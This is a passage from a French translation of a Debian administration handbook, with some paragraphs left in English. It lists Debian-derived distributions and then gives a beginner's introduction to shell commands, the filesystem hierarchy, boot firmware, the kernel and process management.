Signalons en outre que la distribution offre malgré tout un installateur : vous pourrez ainsi essayer Knoppix en tant que live CD puis, une fois convaincu, l'installer sur le disque dur pour obtenir de meilleures performances.

→ https://www.knopper.net/knoppix/

A.5. Aptosid et Siduction

Ces distributions communautaires suivent de très près les évolutions de Debian Sid (Unstable) — d'où leurs noms. Les modifications sont limitées : leur objectif est d'offrir les logiciels les plus récents et de gérer le matériel récent tout en permettant à chacun de rebasculer sur la distribution officielle de Debian à tout moment. Aptosid était auparavant connue sous le nom de Sidux, et Siduction est une distribution dérivée plus récente d'Aptosid.

→ http://aptosid.com

→ https://siduction.org

A.6. Grml

Grml est un CD-Rom autonome contenant de nombreux outils pour les administrateurs qui se focalisent sur l'installation, le déploiement et la récupération de données. Le CD-Rom est fourni en deux variantes, full et small, toutes deux disponibles pour les PC 32 bits et 64 bits. Comme on peut s'en douter, les variantes diffèrent dans la quantité de logiciels inclus et, par conséquent, dans leur taille.

→ https://grml.org

A.7. Tails

Tails OS (The Amnesic Incognito Live System) a pour objectif de fournir un système autonome qui préserve l'anonymat et la confidentialité. Il prend soin de ne laisser aucune trace sur l'ordinateur sur lequel il tourne, et utilise le réseau Tor pour se connecter le plus anonymement possible à Internet.

→ https://tails.boum.org

A.8. Kali Linux

Kali Linux est une distribution basée sur Debian et spécialisée dans les tests de pénétration (penetration testing ou en version courte pentesting). Elle fournit des logiciels qui facilitent l'audit de sécurité d'un réseau existant ou d'un ordinateur en fonctionnement, et qui aident à élaborer un diagnostic après une attaque (ce qui est connu sous le nom computer forensics).

→ https://kali.org

A.9. Devuan

Devuan est une distribution dérivée assez récente de Debian : elle est née en 2014 en réaction à la décision prise par Debian d'utiliser désormais systemd comme système d'initialisation par défaut. Un groupe d'utilisateurs très attachés à sysv et rejetant systemd à cause d'inconvénients (réels ou perçus) a lancé Devuan avec l'objectif d’entretenir un système sans systemd.

→ https://devuan.org

A.10. DoudouLinux

DoudouLinux vise les jeunes enfants (à partir de 2 ans). Dans cette optique, cette distribution fournit une interface graphique fortement personnalisée (sur une base de LXDE) et intègre de nombreux jeux et logiciels éducatifs. L'accès à Internet est filtré, pour éviter aux enfants de tomber sur des sites problématiques, et les publicités sont bloquées. Le but est, d'une part, de permettre aux parents de laisser leurs enfants utiliser leur ordinateur sans inquiétude une fois DoudouLinux démarré et d'autre part, de faire en sorte que les enfants aiment DoudouLinux autant qu'ils aiment leur console de jeux. Malheureusement cette distribution n’a pas connu de développement actif ces dernières années.

→ https://doudoulinux.org

A.11. Raspbian

Raspbian est une reconstruction de Debian optimisée pour la famille populaire (et bon marché) des ordinateurs Raspberry Pi à une seule carte. Cependant, la version récente de Raspbian pour l'architecture armel n’est plus une reconstruction. À la place elle utilise une pure version Bullseye de Debian. Le projet a simplement ajouté quelques paquets, en particulier un noyau personnalisé, pour complètement prendre en charge le matériel.

→ https://raspbian.org

Debian fournit également ses propres images pour plusieurs appareils Raspberry Pi.

→ https://raspi.debian.net/

A.12. PureOS

PureOS est une distribution basée sur Debian axée sur la confidentialité, la commodité et la sécurité. Elle suit les GNU Free System Distribution Guidelines, utilisées par la Free Software Foundation pour qualifier une distribution de libre. La société d’utilité sociale Purism guide son développement.

→ https://pureos.net/

A.13. SteamOS

SteamOS est une distribution Debian orientée jeux vidéo développée par Valve Corporation. Elle est utilisée dans la Steam Machine, une gamme d'ordinateurs de jeu. La prochaine version 3.0 utilisera cependant Arch Linux comme plateforme.

→ https://store.steampowered.com/steamos/

A.14. Et d'autres encore

Le site Distrowatch référence de très nombreuses distributions Linux, dont un grand nombre sont basées sur Debian. N'hésitez pas à le parcourir pour constater la diversité du monde du logiciel libre !

→ https://distrowatch.com

Le formulaire de recherche permet de retrouver les distributions en fonction de celle sur laquelle elles se basent. En sélectionnant Debian, on trouvait ainsi, en avril 2021, 154 distributions actives !

→ https://distrowatch.com/search.php

Annexe B. Petit cours de rattrapage

Bien que cet ouvrage s'adresse principalement aux administrateurs ou utilisateurs avancés, nous ne souhaitons pas exclure les novices désireux de se former. Nous rappelons donc dans cette partie quelques concepts informatiques fondamentaux que l'on côtoie en exploitant un ordinateur sous Unix.

B.1. Interpréteur de commandes et commandes de base

Dans le monde Unix, l'administrateur est inévitablement confronté à la ligne de commande, ne serait-ce que dans les cas où le système ne démarre plus correctement et propose uniquement ce moyen comme accès de secours. Il est donc important de savoir se débrouiller un minimum dans un interpréteur de commandes.

DÉCOUVERTE Démarrer un interpréteur de commmandes

A command-line environment can be run from the graphical desktop, by an application known as a “terminal”. In GNOME, you can start it from the “Activities” overview (that you get when you move the mouse in the top-left corner of the screen) by typing the first letters of the application name. In Plasma (and many other desktop variants), you will find it in the applications menu Applications → System menu.

Les commandes présentées dans cette section le sont de manière assez rapide. Il ne faut pas hésiter à consulter les pages de manuels correspondantes pour découvrir les nombreuses options disponibles.

B.1.1. Déplacement dans l'arborescence et gestion des fichiers

Après connexion, la commande pwd (print working directory, afficher le répertoire de travail) indique l'emplacement courant. La commande cd répertoire (change directory, changer de répertoire) sert à naviguer dans l'arborescence des fichiers. Le répertoire parent est toujours nommé .. tandis que . est un synonyme pour le répertoire courant. La commande ls affiche le contenu d'un répertoire ; en l'absence de paramètres, elle travaille sur le répertoire courant.

$ pwd

/home/rhertzog

$ cd Desktop

$ pwd

/home/rhertzog/Desktop

$ cd .

$ pwd

/home/rhertzog/Desktop

$ cd ..

$ pwd

/home/rhertzog

$ ls

Desktop    Downloads  Pictures  Templates

Documents  Music      Public    Videos

Créer un nouveau répertoire s'effectue avec mkdir répertoire, alors que la commande rmdir répertoire supprime un répertoire vide. La commande mv sert à renommer et/ou à déplacer les fichiers et les répertoires, tandis que rm fichier supprime un fichier.

$ mkdir test

$ ls

Desktop    Downloads  Pictures  Templates  Videos

Documents  Music      Public    test

$ mv test new

$ ls

Desktop    Downloads  new       Public     Videos

Documents  Music      Pictures  Templates

$ rmdir new

$ ls

Desktop    Downloads  Pictures  Templates  Videos

Documents  Music      Public

B.1.2. Consultation et modification des fichiers texte

La commande cat fichier (prévue pour concaténer des fichiers sur la sortie standard) lit un fichier et affiche son contenu dans le terminal. Si le fichier est trop gros, la commande less (ou more) permet de l'afficher page par page.

La commande editor lance un éditeur de texte (comme vi ou nano) et permet de créer/modifier/lire des fichiers texte. Pour les fichiers les plus simples, il est parfois possible de les créer directement depuis l'interpréteur de commandes grâce aux redirections. Ainsi, echo "texte" >fichier crée un fichier nommé fichier contenant « texte ». Pour ajouter une ligne à la fin de ce fichier, il est possible de faire echo "texte supplémentaire" >>fichier. On notera l'emploi de >> dans cet exemple.

B.1.3. Recherche de fichiers et dans les fichiers

La commande find répertoire critères recherche des fichiers dans l'arborescence sous répertoire. L'option -name nom est le critère de recherche le plus courant et permet de retrouver un fichier par son nom.

La commande grep expression fichiers extrait du contenu des fichiers les lignes correspondant à l'expression rationnelle (voir encadré B.A.-BA Expression rationnelle). L'option -r exécute une recherche récursive sur tous les fichiers contenus dans le répertoire indiqué en paramètre. Cela permet d'identifier facilement un fichier dont on connaît une partie du contenu.

B.1.4. Gestion des processus

La commande ps aux liste les processus en cours d'exécution et leur identifiant pid (process id). Par la suite, la commande kill -signal pid envoie un signal à un processus donné (à condition qu'il appartienne au même utilisateur) ; le signal TERM demande au programme de se terminer alors que KILL le tue brutalement.

L'interpréteur de commandes permet de lancer des programmes en tâche de fond : il suffit pour cela d'ajouter « &» à la fin de la commande. Dans ce cas, l'utilisateur retrouve le contrôle immédiatement, bien que la commande lancée ne soit pas encore terminée. La commande jobs indique les processus exécutés en arrière-plan. La commande fg %numéro-de-job (foreground, avant-plan) replace le processus à l'avant-plan. Dans cette situation, la combinaison de touches Control+Z permet de stopper l'exécution du processus et de reprendre le contrôle de la ligne de commande. Pour réactiver en arrière-plan le processus stoppé, il faut faire bg %numéro-de-job (pour background, arrière-plan).

B.1.5. Informations système : mémoire, espace disque, identité

La commande free affiche des informations sur l'usage de la mémoire vive, tandis que df (disk free) rapporte l'espace disponible sur les différents disques accessibles dans l'arborescence. On emploie fréquemment l'option -h de df (pour human readable) afin qu'il affiche les tailles avec une unité plus adaptée (généralement mégaoctets ou gigaoctets). De même, la commande free dispose de -m ou -g pour afficher les informations soit en mégaoctets soit en gigaoctets.

$ free

total        used        free      shared  buff/cache   available

Mem:       16279260     5910248      523432      871036     9845580     9128964

Swap:      16601084      240640    16360444

$ df

Filesystem                1K-blocks      Used Available Use% Mounted on

udev                        8108516         0   8108516   0% /dev

tmpfs                       1627928    161800   1466128  10% /run

/dev/mapper/vg_main-root  466644576 451332520  12919912  98% /

tmpfs                       8139628    146796   7992832   2% /dev/shm

tmpfs                          5120         4      5116   1% /run/lock

tmpfs                       8139628         0   8139628   0% /sys/fs/cgroup

/dev/sda1                    523248      1676    521572   1% /boot/efi

tmpfs                       1627924        88   1627836   1% /run/user/1000

La commande id affiche l'identité de l'utilisateur connecté et indique la liste des groupes dont il est membre. Il est parfois important de pouvoir vérifier si l'on est membre d'un groupe donné ; cela peut conditionner l'accès à certains fichiers ou périphériques.

$ id

uid=1000(rhertzog) gid=1000(rhertzog) groupes=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. Organisation de l'arborescence des fichiers

B.2.1. La racine

L'arborescence d'un système Debian est organisée selon la norme FHS (Filesystem Hierarchy Standard). Elle codifie de manière précise l'usage de chaque répertoire. Étudions la subdivision principale :

- /bin/ : programmes de base ;

- /boot/ : noyau Linux et autres fichiers nécessaires à son démarrage ;

- /dev/ : fichiers de périphériques ;

- /etc/ : fichiers de configuration ;

- /home/ : fichiers personnels des utilisateurs ;

- /lib/ : bibliothèques de base ;

- /media/* : points de montage pour des périphériques amovibles (CD-Rom, clé USB, etc.) ;

- /mnt/ : point de montage temporaire ;

- /opt/ : applications additionnelles fournies par des tierces parties ;

- /root/ : fichiers personnels de l'administrateur (utilisateur root) ;

- /run/ : données d'exécution volatiles qui ne persistent pas entre les redémarrages ;

- /sbin/ : programmes système ;

- /srv/ : données pour les services hébergés par ce système ;

- /tmp/ : fichiers temporaires, ce répertoire étant souvent vidé au démarrage ;

- /usr/ : applications supplémentaires ; ce répertoire se subdivise à nouveau en bin, sbin, lib selon la même logique. En outre, /usr/share/ contient des données indépendantes de l'architecture. /usr/local/ permet à l'administrateur d'installer manuellement certaines applications sans perturber le reste du système qui est géré par le système de paquetage (dpkg).

- /var/ : données variables des démons. Ceci inclut les fichiers de traces, les files d'attente, les caches, etc.

- /proc/ et /sys/ ne sont pas standardisés et sont spécifiques au noyau Linux. Ils servent à exporter des données du noyau vers l'espace utilisateur (voir Section B.3.4, « L'espace utilisateur » et Section B.5, « L'espace utilisateur » pour des explications sur le sujet).

Note that many modern distributions, Debian included, are shipping /bin, /sbin and /lib as symlinks to the corresponding directories below /usr so that all programs and libraries are available in a single tree. It makes it easier to protect the integrity of the system files, and to share those system files among multiple containers, etc.

B.2.2. Le répertoire personnel de l'utilisateur

Le contenu des répertoires utilisateurs n'est pas standardisé. Cependant, il y a tout de même quelques conventions à connaître. Avant tout, il faut savoir que l'on désigne fréquemment le répertoire personnel par un tilde (« ~ ») car les interpréteurs de commandes le remplaceront automatiquement par le bon répertoire /home/utilisateur/.

Traditionnellement, les fichiers de configuration des applications sont directement dans le répertoire de l'utilisateur, mais leurs noms débutent par un point (ex : ~/.muttrc pour le lecteur de courrier mutt). Signalons que les fichiers débutant par un point sont cachés par défaut : il faut passer l'option -a à ls pour les voir et les gestionnaires de fichiers graphiques ont chacun leur propre mécanisme d'activation de l'affichage des fichiers cachés.

Some programs also use multiple configuration files organized in one directory (for instance, ~/.ssh/). Some applications also use their directory to store a cache of downloaded data. This means that those directories can end up using a lot of disk space.

These configuration files stored directly in a user's home directory, often collectively referred to as dotfiles, have long proliferated to the point that these directories can be quite cluttered with them. Fortunately, an effort led collectively under the FreeDesktop.org umbrella has resulted in the “XDG Base Directory Specification”, a convention that aims at cleaning up these files and directories. This specification states that configuration files should be stored under ~/.config/, cache files under ~/.cache/, and application data files under ~/.local/ (or subdirectories thereof). This convention is slowly gaining traction, and several applications (especially graphical ones) have started following it.

Les bureaux graphiques affichent généralement le contenu du répertoire ~/Bureau/ (ou ~/Desktop/ pour un système configuré en anglais) sur le bureau (c'est l'écran qui reste une fois toutes les applications fermées ou minimisées).

Enfin, il arrive que le système de messagerie dépose les courriers électroniques entrants dans ~/Mail/.

B.3. Fonctionnement d'un ordinateur : les différentes couches en jeu

L'ordinateur se présente souvent comme quelque chose d'assez abstrait et sa partie visible est très simplifiée par rapport à sa complexité réelle. Cette complexité réside en partie dans le nombre d'éléments mis en jeu ; ces éléments peuvent cependant être regroupés en couches superposées, les éléments d'une couche n'interagissant qu'avec ceux de la couche immédiatement supérieure et de la couche immédiatement inférieure.

En tant qu'utilisateur final, il n'est pas forcément nécessaire de connaître ces détails... du moins tant que tout fonctionne. Une fois confronté au problème « l'accès Internet ne fonctionne plus », il est indispensable de pouvoir retrouver dans quelle couche le problème apparaît : est-ce que la carte réseau (le matériel) fonctionne ? Est-ce qu'elle est reconnue par l'ordinateur ? Est-ce que Linux la reconnaît ? Est-ce que le réseau est bien configuré ? etc. Toutes ces questions vont permettre d'isoler la couche responsable et de traiter le problème au bon niveau.

B.3.1. Au plus bas niveau : le matériel

Pour commencer, rappelons qu'un ordinateur est avant tout un ensemble d'éléments matériels. On a généralement une carte mère, sur laquelle sont connectés un processeur (parfois plusieurs), de la mémoire vive, différents contrôleurs de périphériques intégrés et des emplacements d'extension pour des cartes filles, pour d'autres contrôleurs de périphériques. Parmi ces contrôleurs, on peut citer les normes IDE (Parallel ATA), SCSI et Serial ATA, qui servent à raccorder des périphériques de stockage comme des disques durs. On trouve également des contrôleurs USB, qui accueillent une grande variété de matériels (de la webcam au thermomètre, du clavier à la centrale domotique) et IEEE 1394 (Firewire). Ces contrôleurs permettent souvent de relier plusieurs périphériques à la fois ; c'est pourquoi on emploie fréquemment le terme de « bus » pour désigner le sous-système complet géré par le contrôleur. Les cartes filles incluent les cartes graphiques (sur lesquelles on pourra brancher un écran), les cartes son, les cartes réseau, etc. Certaines cartes mères intègrent une partie de ces fonctionnalités ; il n'est donc pas toujours nécessaire de recourir à des cartes d'extension.

EN PRATIQUE Vérifier que le matériel fonctionne

Il n'est pas toujours évident de vérifier que le matériel fonctionne. En revanche, il est parfois simple de constater qu'il ne marche plus.

Un disque dur est constitué de plateaux rotatifs et de têtes de lecture qui se déplacent. Lorsque le disque dur est mis sous tension, il fait un bruit caractéristique dû à la rotation des plateaux. De plus, l'énergie dissipée entraîne un réchauffement du disque. Un disque alimenté qui reste froid et silencieux est vraisemblablement hors d'usage.

Les cartes réseau disposent souvent de LED qui indiquent l'état de la connexion. Si un câble est branché et s'il aboutit sur un concentrateur (hub) ou un commutateur (switch) sous tension, une LED au moins sera allumée. Si aucune LED n'est allumée, soit la carte est défectueuse, soit le périphérique connecté à l'autre bout du câble est défectueux, soit le câble est défectueux. Il ne reste plus qu'à tester individuellement les composants incriminés.

Certaines cartes électroniques filles — les cartes vidéo 3D notamment — disposent de mécanismes de refroidissement intégré, souvent des radiateurs et des ventilateurs. Si le ventilateur ne tourne pas alors que la carte est sous tension, il est probable que la carte ait surchauffé et soit abîmée. Il en va de même pour le (ou les) processeur(s) situé(s) sur la carte mère.

B.3.2. Le démarreur : le BIOS ou l'UEFI

Le matériel seul n'est cependant pas autonome ; il est même totalement inutile sans qu'une partie logicielle permette d'en tirer parti. C'est le but du système d'exploitation et des applications — qui, de manière similaire, ne peuvent fonctionner sans un ordinateur pour les exécuter.

This symbiosis between hardware and software does not happen on its own. When the computer is first powered up, some initial setup is required. This role is assumed by the BIOS or UEFI, a piece of software embedded into the main board that runs automatically upon power-up. Its primary task is searching for software it can hand over control to. Usually, as you may have learned in Section 9.1, « Démarrage du système », in the BIOS case, this involves looking for the first hard disk with a boot sector (also known as the master boot record or MBR), loading that boot sector, and running it. From then on, the BIOS is usually not involved (until the next boot). In the case of UEFI, the process involves scanning disks to find a dedicated EFI partition containing further EFI applications to execute.

OUTIL Setup, l'outil de configuration du BIOS et de l'UEFI

The BIOS/UEFI also contains a piece of software called Setup, designed to allow configuring aspects of the computer. In particular, it allows choosing which boot device is preferred (for instance, you can select a USB key or a CD-ROM drive instead of the default harddisk), setting the system clock, and so on. Starting Setup usually involves pressing a key very soon after the computer is powered on. This key is often Del or Esc, sometimes F2, F5, F8, or F10. Most of the time, the choice is flashed on screen while booting. If not, you best check the manual of your mainboard or your computer.

Le secteur d'amorçage (ou la partition EFI) contient à son tour un autre logiciel, le chargeur de démarrage, dont la tâche sera de trouver un système d'exploitation et de l'exécuter. Comme ce chargeur de démarrage n'est pas embarqué dans la carte mère mais chargé depuis un disque dur (ou autre), il dispose de plus de possibilités que le chargeur du BIOS (ce qui explique pourquoi le BIOS ne charge pas le système d'exploitation directement). Le chargeur de démarrage (souvent GRUB sur les systèmes Linux) peut ainsi proposer de choisir quel système démarrer si plusieurs sont présents, avec un choix par défaut faute de réponse dans un délai imparti, avec des paramètres divers éventuellement saisis par l'utilisateur, etc. Il finit donc par trouver un noyau à démarrer, le charge en mémoire et l'exécute.

NOTE UEFI, le remplaçant moderne du BIOS

BIOS (which stands for Basic Input/Output System) is a software that is included in the motherboard - the electronic board connecting all peripherals - and executed when the computer is booted, in order to load an operating system (via an adapted bootloader). It stays in the background to provide an interface between the hardware and the software (in our case, the Linux kernel).

In 2005/2006 its successor, the UEFI (Unified Extensible Firmware Interface) specification, has been published. This specification defines an interface that has the same purpose as the BIOS, but tries to provide more usability, extensibility, and flexibility, a graphical user interface, and true 64bit support. And it got rid of some of the limitations of BIOS booting: with the usage of a dedicated partition, the bootloaders no longer need special tricks to fit in a tiny master boot record and then discover the kernel to boot. Even better, with a suitably built Linux kernel, UEFI can directly boot the kernel without any intermediary bootloader. UEFI is also the basic foundation used to deliver Secure Boot, a technology ensuring that you run only software validated by your operating system vendor.

Nowadays, most new computers will boot in UEFI mode by default, but usually they also support BIOS booting alongside for backwards compatibility with operating systems that are not ready to exploit UEFI. This is called the Compatibility Support Mode/Module (CSM). But, several manufacturers have either announced to cease support for the legacy BIOS mode in their UEFI implementation, or they already did. This transition, however, has not been without discussion nor without criticism.

Le BIOS (ou l'UEFI) est également responsable de l'initialisation et de la détection d'un certain nombre de périphériques. Il détecte bien entendu les périphériques IDE/SATA (disques durs et lecteurs de CD-Roms/DVD-Roms), mais souvent aussi les périphériques PCI. Les périphériques détectés sont généralement listés de manière furtive au démarrage (l'appui sur la touche Pause permet souvent de figer l'écran pour l'analyser plus longuement). Si un des périphériques PCI installés n'y apparaît pas, c'est mauvais signe. Au pire, le périphérique est défectueux, au mieux il fonctionne mais il est incompatible avec cette version du BIOS ou de la carte mère. Les spécifications PCI ont en effet évolué au fil du temps et il n'est pas impossible qu'une ancienne carte mère ne gère pas une carte PCI récente.

B.3.3. Le noyau

Nous arrivons alors au premier logiciel qui va s'exécuter de manière durable (le BIOS/l'UEFI et le chargeur de démarrage ne fonctionnent que quelques secondes chacun) : le noyau du système d'exploitation. Celui-ci prend alors le rôle de chef d'orchestre, pour assurer la coordination entre le matériel et les logiciels. Ce rôle inclut différentes tâches, notamment le pilotage du matériel, la gestion des processus, des utilisateurs et des permissions, le système de fichiers, etc. Il fournit ainsi une base commune aux programmes du système.

B.3.4. L'espace utilisateur

Bien que tout ce qui se passe au-dessus du noyau soit regroupé sous le vocable d'espace utilisateur, on peut encore différencier des couches logicielles ; mais leurs interactions étant plus complexes que précédemment, la différenciation n'est plus aussi simple. Un programme peut en effet faire appel à des bibliothèques qui font à leur tour appel au noyau, mais le flux des communications peut aussi mettre en jeu d'autres programmes, voire de multiples bibliothèques s'appelant l'une l'autre.

B.4. Quelques fonctions remplies par le noyau

B.4.1. Pilotage du matériel

Le noyau sert d'abord à contrôler les différents composants matériels, les recenser, les mettre en marche lors de l'initialisation de l'ordinateur, etc. Il les rend également disponibles pour les applications de plus haut niveau, avec une interface de programmation simplifiée : les logiciels peuvent ainsi utiliser les périphériques sans se préoccuper de détails de très bas niveau comme l'emplacement dans lequel est enfichée la carte fille. L'interface de programmation offre également une couche d'abstraction qui sert par exemple à un logiciel de visiophonie pour tirer parti d'une webcam de la même manière, quels que soient sa marque et son modèle ; ce logiciel utilise simplement l'interface de programmation V4L (Video for Linux, le quatre se prononçant comme for en anglais) et c'est le noyau qui traduira les appels de fonction de cette interface en commandes spécifiques au type de webcam réellement utilisé.

The kernel exports many details about detected hardware through the /proc/ and /sys/ virtual filesystems. Several tools summarize those details. Among them, lspci (in the pciutils package) lists PCI devices, lsusb (in the usbutils package) lists USB devices, and lspcmcia (in the pcmciautils package) lists PCMCIA cards. These tools are very useful for identifying the exact model of a device. This identification also allows more precise searches on the web, which in turn, lead to more relevant documents.

Exemple B.1. Exemple d'informations fournies par lspci et lsusb

$ lspci

[...]

00:00.0 Host bridge: Intel Corporation Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers (rev 05)

00:01.0 PCI bridge: Intel Corporation 6th-9th Gen Core Processor PCIe Controller (x16) (rev 05)

00:02.0 VGA compatible controller: Intel Corporation HD Graphics 630 (rev 04)

00:14.0 USB controller: Intel Corporation 100 Series/C230 Series Chipset Family USB 3.0 xHCI Controller (rev 31)

00:14.2 Signal processing controller: Intel Corporation 100 Series/C230 Series Chipset Family Thermal Subsystem (rev 31)

[...]

02:00.0 Network controller: Qualcomm Atheros QCA6174 802.11ac Wireless Network Adapter (rev 32)

03:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. RTL8411B PCI Express Card Reader (rev 01)

03:00.1 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 12)

04:00.0 Non-Volatile memory controller: Samsung Electronics Co Ltd NVMe SSD Controller SM981/PM981/PM983

$ lsusb

Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub

Bus 001 Device 003: ID 0bda:5621 Realtek Semiconductor Corp. HD WebCam

Bus 001 Device 002: ID 04ca:3016 Lite-On Technology Corp.

Bus 001 Device 018: ID 145f:01bc Trust GXT 155 Gaming Mouse

Bus 001 Device 004: ID 04f3:0c03 Elan Microelectronics Corp. ELAN:Fingerprint

Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

Les options -v de ces programmes permettent d'obtenir des informations beaucoup plus détaillées qui ne seront généralement pas nécessaires. Enfin, la commande lsdev (du paquet procinfo) liste les différentes ressources de communication exploitées par les périphériques présents.

Bien souvent, les applications accèdent aux périphériques par le biais de fichiers spéciaux qui sont créés dans /dev/ (voir encadré B.A.-BA Droits d'accès à un périphérique). Il existe des fichiers spéciaux qui représentent les disques (par exemple /dev/hda et /dev/sdc), les partitions (/dev/hda1 ou /dev/sdc3), la souris (/dev/input/mouse0), le clavier (/dev/input/event0), la carte son (/dev/snd/*), les ports série (/dev/ttyS*), etc.

B.4.2. Systèmes de fichiers

Un des aspects les plus visibles du noyau est celui des systèmes de fichiers. Les systèmes Unix intègrent en effet les différentes méthodes de stockage de fichiers dans une arborescence unique, ce qui permet aux utilisateurs (et aux applications) de stocker ou retrouver des données simplement grâce à leur emplacement dans cette arborescence.

Le point de départ de cette arborescence est la racine, /. Il s'agit d'un répertoire pouvant contenir des sous-répertoires, chacun étant identifié par son nom. Par exemple, le sous-répertoire home de / est noté /home/ ; ce sous-répertoire peut à son tour contenir d'autres sous-répertoires et ainsi de suite. Chaque répertoire peut également contenir des fichiers, qui contiendront les données réellement stockées. Le nom de fichier /home/rmas/Bureau/hello.txt désigne ainsi un fichier appelé hello.txt, stocké dans le sous-répertoire Bureau du sous-répertoire rmas du répertoire home présent à la racine. Le noyau fait alors la traduction entre ce système de nommage de fichiers et leur format de stockage physique sur disque.

Contrairement à d'autres systèmes, cette arborescence est unique et peut intégrer les données de plusieurs disques. L'un de ces disques est alors utilisé comme racine, les autres étant « montés » dans des répertoires de l'arborescence (la commande Unix qui réalise cela est mount) ; ces autres disques sont alors accessibles sous ces « points de montage ». On peut ainsi déporter sur un deuxième disque dur les données personnelles des utilisateurs (qui sont traditionnellement stockées dans /home/). Ce disque contiendra alors les répertoires rhertzog et rmas. Une fois le disque monté dans /home/, ces répertoires deviendront accessibles aux emplacements habituels, et on pourra retrouver /home/rmas/Bureau/hello.txt.

Il existe différents systèmes de fichiers, qui correspondent à différentes manières de stocker physiquement les données sur les disques. Les plus connus sont ext3 et ext4, mais il en existe d'autres. Par exemple, vfat est le système historiquement utilisé par les systèmes de type DOS et Windows et permet donc d'utiliser des disques durs sous Debian autant que sous Windows. Dans tous les cas, il faut préparer le système de fichiers avant de pouvoir le monter ; cette opération, fréquemment appelée formatage, est effectuée par le biais de commandes comme mkfs.ext3 (mkfs étant une abréviation de MaKe FileSystem). Ces commandes prennent en paramètre le fichier de périphérique représentant la partition à formater (par exemple /dev/hda1). Cette opération destructrice n'est à exécuter qu'une seule fois, sauf si l'on souhaite délibérément vider le contenu du système de fichiers et repartir de zéro.

Il existe aussi des systèmes de fichiers réseau, comme NFS, où les données ne sont pas stockées sur un disque local ; elles sont en effet transmises à un serveur sur le réseau, qui les stockera lui-même et les restituera à la demande ; l'abstraction du système de fichiers permet aux utilisateurs de ne pas avoir à s'en soucier : les fichiers resteront accessibles par leurs emplacements dans l'arborescence.

B.4.3. Fonctions partagées

Le noyau est également responsable de fonctions utilisées par tous les logiciels et qu'il est judicieux de centraliser ainsi. Ces fonctions incluent notamment la gestion des systèmes de fichiers, permettant à une application d'ouvrir simplement un fichier en fonction de son nom, sans avoir à se préoccuper de l'emplacement physique du fichier (qui peut se trouver morcelé en plusieurs emplacements d'un disque dur, voire entre plusieurs disques durs, ou stocké à distance sur un serveur de fichiers). Il s'agit également de fonctions de communication, que les applications pourront appeler pour échanger des informations à travers le réseau sans se soucier du mode de transport des données (qui pourront transiter sur un réseau local, une ligne téléphonique, un réseau sans fil ou une combinaison de tout cela).

B.4.4. Gestion des processus

Un processus correspond à un programme en cours d'exécution. Ceci inclut une zone de mémoire dans laquelle est stocké le programme lui-même, mais également l'ensemble des données sur lesquelles le programme travaille. Le noyau est responsable de la création des processus et de leur suivi : lorsqu'un programme est lancé, le noyau met de côté cette zone de mémoire qu'il réserve au processus, y charge (depuis le disque) le code du programme et lance l'exécution. Il garde également des informations qui concernent ce processus, notamment un numéro d'identification (pid, pour process identifier).

Les noyaux de type Unix (dont fait partie Linux), comme la plupart des systèmes d'exploitation modernes, sont dits « multi-tâches », c'est-à-dire qu'ils permettent l'exécution « simultanée » de nombreux processus. En réalité, un seul processus peut fonctionner à un instant donné ; le noyau découpe alors le fil du temps en fines tranches et exécute les différents processus à tour de rôle. Comme ces intervalles de temps ont des durées très courtes (de l'ordre de la milliseconde), l'utilisateur a l'illusion de programmes s'exécutant en parallèle, alors qu'ils ne sont en réalité actifs que pendant certains intervalles et suspendus le reste du temps. La tâche du noyau est d'ajuster ses mécanismes d'ordonnancement pour parfaire cette illusion tout en maximisant les performances globales du système : si les intervalles sont trop longs, l'application manquera de réactivité vis-à-vis de l'utilisateur ; s'ils sont trop courts, le système perdra du temps à basculer d'une tâche à l'autre trop souvent. Ces décisions peuvent être influencées par des notions de priorités affectées à un processus ; un processus de haute priorité bénéficiera pour s'exécuter d'intervalles de temps plus longs et plus fréquents qu'un processus de basse priorité.

NOTE Systèmes multi-processeurs et assimilés

La limitation évoquée ci-dessus d'un seul processus pouvant fonctionner à la fois, ne s'applique pas systématiquement. La réelle restriction est qu'il ne peut s'exécuter à un instant donné qu'un processus par cœur de processeur. Les systèmes multi-processeurs, multi-cœurs ou proposant de l'hyperthreading permettent en effet à plusieurs processus d'être exécutés simultanément. Le même principe de découpage du temps en intervalles attribués à tour de rôle aux processus actifs reste appliqué, afin de pouvoir traiter le cas où le nombre de processus en cours est supérieur à celui des cœurs disponibles. Cette situation est loin d'être exceptionnelle : un système de base, même peu actif, a presque toujours quelques dizaines de processus en cours d'exécution.

Bien entendu, le noyau autorise l'exécution en parallèle de plusieurs processus correspondant au même programme : chacun dispose alors de ses propres intervalles de temps pour s'exécuter, ainsi que de sa zone de mémoire réservée. Comme un processus n'a accès qu'à sa propre zone de mémoire, les données de chacun restent indépendantes.

B.4.5. Gestion des permissions

Les systèmes de type Unix sont également multi-utilisateurs. Ils intègrent une notion de droits séparant les utilisateurs et les groupes d'utilisateurs entre eux ; ils autorisent ou non certaines actions en fonction de l'ensemble de droits dont on dispose. Le noyau gère donc, pour chaque processus, un ensemble de données qui vérifient les permissions de ce processus. En règle générale, il s'agit de « l'identité » sous laquelle tourne le processus, qui correspond le plus souvent au compte utilisateur qui a déclenché son exécution. Beaucoup d'actions ne pourront être menées à bien par le processus que s'il dispose des permissions requises. Par exemple, l'opération d'ouverture d'un fichier est subordonnée à une vérification de la compatibilité entre les permissions du fichier et l'identité du processus (cet exemple particulier est détaillé dans la Section 9.3, « Gestion des droits »).

B.5. L'espace utilisateur

On appelle espace utilisateur l'environnement d'exécution des processus normaux, par opposition aux processus qui font partie du noyau. Cela ne signifie pas pour autant que tous ces processus soient réellement lancés directement par l'utilisateur : un système normal exécute un certain nombre de « démons » (ou processus d'arrière-plan) avant même que l'utilisateur ouvre une session de travail. Les « démons » sont alors considérés comme des processus de l'espace utilisateur.

B.5.1. Processus

Lorsque le noyau a terminé son initialisation, il lance le tout premier processus, init, qui n'est généralement pas utile par lui-même. Les systèmes Unix fonctionnent donc avec de nombreux processus supplémentaires.

